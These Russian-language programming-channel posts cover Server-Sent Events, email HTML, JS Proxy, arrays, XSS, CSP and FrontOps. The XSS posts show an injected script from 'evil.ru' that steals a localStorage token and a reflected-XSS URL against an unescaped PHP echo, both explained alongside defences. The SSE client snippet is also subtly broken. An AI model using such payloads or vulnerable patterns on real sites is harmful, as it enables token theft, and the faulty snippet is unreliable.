🎄 С новым годом, почти

Модно нынче подводить итоги года и мне стало интересно подбить итоги для канала

Меня эта статистика приятно удивляет, я даже не задумывался что могут получиться такие большие цифры

За этот год я сделал очень много для канала: много что изучил, проводил интерактивы, старался стабильно и по графику выпускать посты, пусть и не всегда успешно. Покупал рекламу, пытался продавать её сам, в чём, кстати, сильно разочаровался

За год в канале вышло 14 по настоящему рекламных постов, в основном, с рекламой каких-то ИМХО адекватных каналов, что ещё куда ни шло, но в основном в предложку летит полный шлак, а продавать места в канале за смешные деньги очень уж впадлу

Поэтому в новом году я желал бы себе монетизировать канал этичным для себя способом, а каждому из вас я желаю получать ещё больше удовольствия от работы и жизни в целом, покорить новые вершины и исполнить все свои желания. Желаю каждому успехов, не только в карьере, новых ярких эмоций и идей

Хочу сказать каждому читающему спасибо за этот год вместе. Спасибо за то время, что вы на эту писанину тратите

Не зря в каждом посте я говорю спасибо за прочтение. Это важно для меня 🎁

С канала я ничего кроме вашего прочтения, реакций и комментариев и не получаю
🙂🙂🙂

@prog_way_blog — #blog

Что такое Server-Sent Events

SSE — это технология для однонаправленного соединения между сервером и клиентом, которая позволяет серверу отправлять обновления данных в реальном времени

Часто SSE могут стать отличной альтернативой WebSocket. Он отлично подойдёт для кейсов, когда:
1. Нам нужно постоянно получать обновления с сервера
2. Не нужно постоянно отправлять что-то с клиента

Такая односторонняя связь полезна при реализации:
— уведомлений
— обновления данных в реальном времени (цен, загрузки CPU...)
— индикатора прогресса загрузки большого файла
— даже в играх

И многих других случаях

Фикус в том, что держать SSE гораздо проще и дешевле, чем держать WebSocket. Как по коду, так и по перфомансу

Для реализации понадобится только простенький эндпоинт на сервере, а далее процесс выглядит так:
1. Клиент делает GET запрос на подготовленный эндпоинт через EventStream
2. Сервер создаёт event-stream, просто устанавливая нужный заголовок. Соединение не закрывается, и с этого момента сервер может пушить в стрим любые строковые данные
3. Клиент подписывается на новое сообщение в стриме

На сервере это будет выглядеть примерно так:

const http = require('http');

http.createServer((req, res) => {
  if (req.url === '/stream') {
    res.writeHead(200, {
      'Content-Type': 'text/event-stream',
      'Cache-Control': 'no-cache',
      'Connection': 'keep-alive',
    });

    setInterval(() => {
      res.write('data:  ПРИВЕТ!\n\n');
    }, 1000);
  }
}).listen(3000);

На клиенте это будет выглядеть примерно так:

const source = EventSource('/stream')

sourse.addEventListener('message', (message) => {
  console.log(message.data)
})

С таким кодом мы будем получать на клиенте сообщение "ПРИВЕТ!" каждую секунду

При этом, конечно же, никто не мешает усложнить логику со стороны сервера, и пушить новые сообщения в стрим не каждую секунду, а только при изменении данных

И конечно же никто не запрещает обернуть стрим в какой-нибудь React хук и сделать дженеричное решение для всего проекта/проектов

Если вы ни разу не работали SSE, то очень рекомендую потыкать хотя бы в песочнице — очень крутая штука!

Если кратко:

SSE — технология однонаправленной связи от сервера к клиенту
С помощью SSE можно обновлять данные на клиенте в рамках одного соединения в реальном времени

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blog — чат — #theory #javascript #code #data #web

Верстка писем — это боль? или нет..?

Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...

Вёрстка письма — это крайне специфичное занятие, при котором нет возможности использовать добрую половину, если не больше, возможностей HTML и CSS

Почтовые движки настолько старые, что многие из них до сих пор требуют верстки с использованием таблиц, прямо как в 90-х. Но гораздо интереснее вопрос — почему получилось именно так? Я бы выделил пару причин:

➡️ Что и так понятно, причина историческая

Вёрстка письма — задача часто тривиальная. Вот многие и не заморачиваются с обновлением движков, так как это не дает какой-то бизнес выгоды. Нет абсолютно никакой разницы между вёрсткой письма для отправки PIN-кода для входа на таблицах или на флексах

➡️ Безопасность

Если углубиться и задуматься, то окажется, что у большинства запретов есть свой вполне объективный смысл. Есть много способов "заставить" вёрстку сходить куда-то за данными:

@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)

<form action="https://.../steal.php" method="get">

И ещё куча других примеров — везде так или иначе наше письмо отправляет какой-то запрос. А это уже опасно тем, что открывает кучу возможностей для слежки за пользователем. Например, можно узнать реальный IP пользователя просто при открытии письма (открытие письма → запрос картинки → трекинг IP)

Также, например, запрещён position:fixed, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиента

Но самое главное, что всё реально развивается и стало лучше!

— Outlook теперь рендерит письма на движке от Edge, а не от Microsoft Word (блин, да! до 2022 года письма реально рендерились на основе... ворда! )
— почти все почтовые клиенты научились понимать <div /> 😎
— много где появилась поддержка медиа запросов
— ну и много чего ещё

А самое главное, что появились крутые инструменты для вёрстки писем, которые из коробки закрывают много проблем — когда-то относительно давно появился MJML и сделал небольшую революцию, а в последние годы так и вовсе очень сильно хайпят react-email или vue-email

Мне недавно довелось сверстать десяток писем на react-email и с уверенностью могу сказать, что это было совсем-совсем не больно:
— тут тебе и tailwind
— и аля аналог storybook для шаблонов
— кастомные шрифты
— куча шаблонов и примеров кода
— поддержка markdown для текстов
— куча фиксов для почтовых клиентов...

И всё это чудо в удобной обёртке из коробки с поддержкой компонентного подхода без смс и даже без регистрации

Как по мне, в современных реалиях верстать письма стало в разы легче, за что большое спасибо всему комьюнити. Если вдруг ранее вы обходили стороной вёрстку писем, загляните. Это тоже по-своему интересно

Ну и react-email тоже рекомендую, приятный инструмент

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #useful #web #react

Кстати, из смешного печального, 99.97% писем имеют серьёзные/критические проблемы с доступностью по результатам исследования 2024 года

Из 409 357 проанализированных писем без ошибок по доступности были целых 28

🤷‍♂️🤷‍♂️🤷‍♂️

@prog_way_blog

Как реагировать на изменения объекта

В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy

Proxy — это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над ними

new Proxy(target, handlers) создаёт прокси для объекта target, где handler содержит ловушки для перехвата операций

Ловушек много — get, set, deleteProperty, has... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним

Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:

const user = { name: "Денис", age: 23 };

const proxyUser = new Proxy(user, {
  get(target, key) {
    return key in target ? target[key] : "Не найдено";
  }
});

proxyUser.name // "Денис"
proxyUser.city // "Не найдено"

Но это лишь частный случай, можно сделать более утилитарный пример:

const reactive = (obj, callback) => {
  return new Proxy(obj, {
    set(target, key, value) {
      target[key] = value; // обновляем значение
      callback(key, value); // вызываем реакцию
      return true;
    }
  });
};

// Используем:
const state = reactive({ count: 0 }, (key, value) => {
  console.log(`Свойство "${key}" изменилось:`, value);
});

state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"

Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿

Сам Proxy — это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же был

В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования

Удобно, что Proxy крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазией

Если кратко:

— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #theory #useful #javascript #code #web #patterns

Как создать массив фиксированной длины?

На самом деле, способов множество. Можно создать простой массив пустых элементов:

Array(100)

Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод fill:

Array(100).fill(0)

Или мы можем попробовать вызвать метод map и заполнить массив индексами:

Array(100).map((_, index) => index)

Пробуйте угадать что получится в ходе выполнения кода выше😂

Ответ:
⬇️

Получится [empty × 100], а не массив индексов)

Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.

Язык просто создаёт пустую структуру с полем length в значении 100

А что будет, если вызвать вот такой код?

Object.keys(Array(100)).length

Ответ: ноль, потому что значений в массиве по сути то и нет. Поэтому и map не работает

Поэтому если мы хотим использовать map, то придётся использовать вот такой хак:

[...Array(100)].map((_, index) => index)

Такая конструкция уже превратит разряженный массив в массив из сотни undefined и позволит вызвать map

Мой любимый способ, который я использую всегда в подобных кейсах:

Array.from({ length: 100 })

Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в from можно сразу передать функцию-маппер:

Array.from({ length: 100 }, () => 'привет')

Ну или прям совсем в лоб, про такое тоже не забываем:

const array = []

for (let i = 0; i < 100; i++) {
    array.push('progway')
}

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #javascript #theory #data

📃Товарищи, внимание

У меня небольшой творческий кризис

Кажется, что я уже очень многое описал, и у меня самого постепенно заканчиваются идеи для новых постов

Поэтому был бы рад обсудить любые идеи на тему контента в канале, пишите их в комменты к посту или анонимно в личку

Спасибо за внимание 🥰

Что такое XSS

XSS — это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта

При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)

На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция

Как по мне, самый распространенный вариант попасться на XSS атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходу

Сайты, не защищённые CSP или с 'unsafe-inline' директивой — лакомый кусочек для таких типов атак

1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет HTML через innerHTML

2. Внедряется какой-нибудь <script src="https://evil.ru/steal.js"></script>, этот скрипт крадёт токен из localStorage и отправляет на сервер злоумышленника

Итог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров

Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования HTML разметки (например, innerHTML)
— Не забывать про флаг HttpOnly на куках
— Использовать Content Security Policy — CSP (об этом в одном из следующих постов)

Спасибо за прочтение, это важно для меня 💙

@prog_way_blog — чат — #theory #useful #web

Content Security Policy

CSP — механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)

Основная задача CSP — защитить пользователя от инъекционных атак, типа XSS, блокируя любые недоверенные ресурсы

CSP можно задавать через HTTP заголовок или через meta тег. И, если честно, с CSP в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики

Обычно политику можно задать в конфиге Nginx, условного Express или даже в докере через заголовок: Content-Security-Policy. Выглядеть это в упрощённом случае может примерно так:

Content-Security-Policy: default-src 'self' https://trusted.ru;

Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru

Если на сайте настроена CSP без разрешения на инлайн-скрипты 'unsafe-inline' и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script> вне белого списка. Это эффективно снижает риск XSS

unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.

Вот так это может выглядеть:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline';

В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа Nuxt/Next из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаете

Ну и так же помните, что фреймворки не защищают вас полностью

А CSP — не панацея, но очень мощный инструмент “защиты в глубину”.
Настройте хотя бы простое правило (default-src 'self'), а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blog — чат — #theory #useful #web

Ещё один пример XSS уязвимости

Предположим, сайт a.com не защищён от XSS. Допустим, там есть URL-параметр, который встраивается в страницу как есть:

<div>Результаты поиска: <?php echo $_GET['query']; ?></div>

Что делает злоумышленник:

1. Создаёт специальную ссылку, например:

https://a.com/search?query=<script>alert('Я украл твою почку!')</script>

2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)

Что происходит у вас в браузере:

1. Вы заходите на a.com через эту ссылку

2. Сервер a.com вставляет <script>...</script> прямо в HTML

3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта a.com

Ну и всё, вы остались без почки

Поможет ли тут CSP? Ответ: увы, нет

Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием

Спасибо за прочтение, это важно для меня 💖

@prog_way_blog — чат — #theory #useful #web

Сам себе режиссёр?

Сегодня принято считать, что FrontOps — это попытка соединить посредственного DevOps-инженера и фронтендера в одном лице. Но, как по мне — это наглядная демонстрация T-shape подхода в оценке разработчиков

T-shape — это модель компетенций, где обычно выделяют одну доминанту (например, фронтенд) и множество навыков рядом с основным (для фронтендера, например — CI/CD, DevOps, UI/UX и тд)

Также к навыкам рядом можно относить и soft skills, например навык управления командой и прочее

У людей куча мнений на этот счёт и мне в основном встречается негативная позиция, но имхо — это вполне адекватное требование не только к фронтендеру, но и любому другому разработчику начиная с грейда мидл и выше

В первую очередь, развитие вширь и обретение ещё каких-то навыков за рамками основной компетенции — это отличное развитие «вширь» для любого специалиста в любой профессии

Для кандидата выгода очевидна:
— зачастую выше зарплата
— конкурентное положение на рынке
— больше возможностей для развития внутри основной компетенции за счёт заимствования (очень много что в современном фронтенде взято из бекенда, например)

Для компании, в целом, тоже:
— человек «швейцарский нож», который способен закрывать большой пул задач без увеличения штата и зарплатного фонда (один крутой разраб всегда дешевле двух хороших)
— быстрее протекают кросс-процессы

Под кросс-процессами я подразумеваю те процессы, которые перетекают из компетенции в компетенцию. Тут обсудим две потенциальные ситуации на примере старта маленького проектика, который нужно куда-то задеплоить

➡️ Ситуация первая, печальная
Для деплоя по хорошему нужно бы настроить CI/CD. Если фронтендер не может сделать это сам, на проект будет выделен отдельный DevOps (или FrontOps)

Очень часто наблюдается ситуация, в которой DevOps-ов не хватает, а на мелких проектах держать отдельного DevOps в целом не рентабельно. В таких случаях создается общий пул и один девопс может работать сразу на нескольких проектах

В этой ситуации есть риск потенциального простоя

Какие выходы есть их этой ситуации?
1. Экстренно дёрнуть девопса с другого проекта (плохо — негативный импакт)
2. Заставить фронтендера учиться как там что делается (плохо — долго)
3. Поставить задачу на холд и ждать когда девопс до нее доберётся (плохо — долго)

➡️ Ситуация вторая, выгодная
Фронтендер сам накидает себе базовый .gitlab-ci.yml, а с этим реально не каждый человек на рынке может справиться, и задача решится за час-два

Из двух этих карикатур лично мне очевидно какую именно выберет большинство руководителей

Лично моя философия в том, что не существует такой позиции, как FrontOps-инженер

FrontOps — это фронтендер, который что-то как-то умеет в DevOps (в большинстве случаев)

FrontOps — это DevOps, который что-то как-то умеет в фронтенд

Иного я никогда в своей жизни не видел

И воспринимать, как по мне, это нужно именно так. FrontOps не должен быть заменой DevOps, это лишь дополнительная функция

FrontOps это не про замену DevOps как такового. Более того, в бигтехе иногда девопс настолько сложный бывает, что разработчика во все процессы погрузить ну очень уж сложно и дорого, поэтому отдельные девопсы и существуют

FrontOps это больше о:
— хотя бы примитивном CI/CD
— базовом понимании что такое nginx, CDN, кеширование
— умении добавить джобу на прогон юнит тестов без слёз
— умении прочитать логи с кубер пода, логи с sentry, нажать кнопку в кейклоке без панических атак ну и тд

Навык безусловно полезный и который точно нужно качать, но какого-то «рецепта успеха» тут точно нет

Самый адекватный способ преисполниться в таких процессах — это написать десяток пет-проектов разной направленности или взять подобную задачу на работе, иначе получить какой-то релевантный опыт ИМХО тут просто невозможно

В последующих постах постараюсь раскрыть эту тему больше с технической стороны и рассказать что я применяю в своих проектах и работе регулярно, чтобы желающим было с чего начать

Также советую прочитать статью из блога Игоря Федюкина

Не бомбите, берегите нервы, себя и своих близких. Всех благ❤️

@prog_way_blog — чат

Первый шаг в сторону FrontOps

В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов

Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса

Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен

Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться

В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее

Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает

Звучит как ужасная продажная реклама, но это, к сожалению, не так. Очень жаль))

Для первого погружения в FrontOps — инструмент шикарный

Можно задеплоить парочку проектов, научиться писать хотя бы Dockerfile, может и пайплайн из парочки джобов собрать, а потом уже двигаться дальше

Прямо сейчас у меня развёрнуто несколько проектов, в том числе зеркало progway, про которое в канале я никогда не упоминал. Это написанная за пару вечеров прила, которая является почти полным аналогом канала. Сделано зеркало просто для того, чтобы привлекать новый трафик в канал с поиска в условном яндексе

Пока этим приложением у меня нет времени заниматься, оно в подвешенном состоянии, но когда нибудь оно будет сиять

Ну а если вы вдруг любитель поиграть в игру «Бункер», такой проект у меня тоже найдётся. Прила ещё достаточно давно была написана чисто для друзей, но не вижу преград не поделиться

Для меня эти проекты — испытательный полигон, где можно сделать акцент на том, что интересно пощупать — изучить новую библиотечку, какой-то новый подход и т.д.

А для кого-то такие пет-проекты и coolify в целом могут стать первым шагом в изучение темы FrontOps

Не обязательно всё время быть сильными. Иногда достаточно просто жить дальше, держаться за принципы и не давать обстоятельствам нас сломать — и этого уже достаточно🥰

@prog_way_blog — чат — #theory #blog #useful

Шпаргалка с чего начать в FrontOps

➡Для себя любимого

1. Свободно ориентироваться в терминале, уметь выходить из вима и пользоваться ssh
2. Разобраться со сборкой — разобраться как минимум с Vite, понимать как исходный код превращается в бандл
3. Разобраться с Docker — понять зачем вообще он нужен, как оптимизировать Dockerfile

➡Для команды любимой

1. Автоматизировать всё, что можно автоматизировать — изучить prettier, biome, eslint, stylelint — интегрировать в проект и забыть о спорах на ревью о формате кода. Также можно изучить husky и запускать все необходимые проверки ещё до коммита
2. Разобраться с GitLab Actions, именно это используют в большинстве случаев — прогонять линтеры и тесты, собирать превью билд для пул реквестов
3. Изучить мониторинг и аналитику — Sentry для мониторинга и Umami или Matomo для аналитики подойдут для большинства проектов

➡Для пользователя любимой
1. Изучить что такое CDN и как это можно использовать, что такое S3, микрофронтенды, хотя бы базово разбираться в nginx
2. Разобраться с производительностью — рассмотреть и оптимизировать бандл, научиться использовать Lighthouse, react-scan и в целом тестировать свои приложения на слабых устройствах

Гайд не исчерпывающий, но может выступить ориентиром

Если вам что-то не нравится делать — возможно, это навык, который стоит просто прокачать? ❤

@prog_way_blog — чат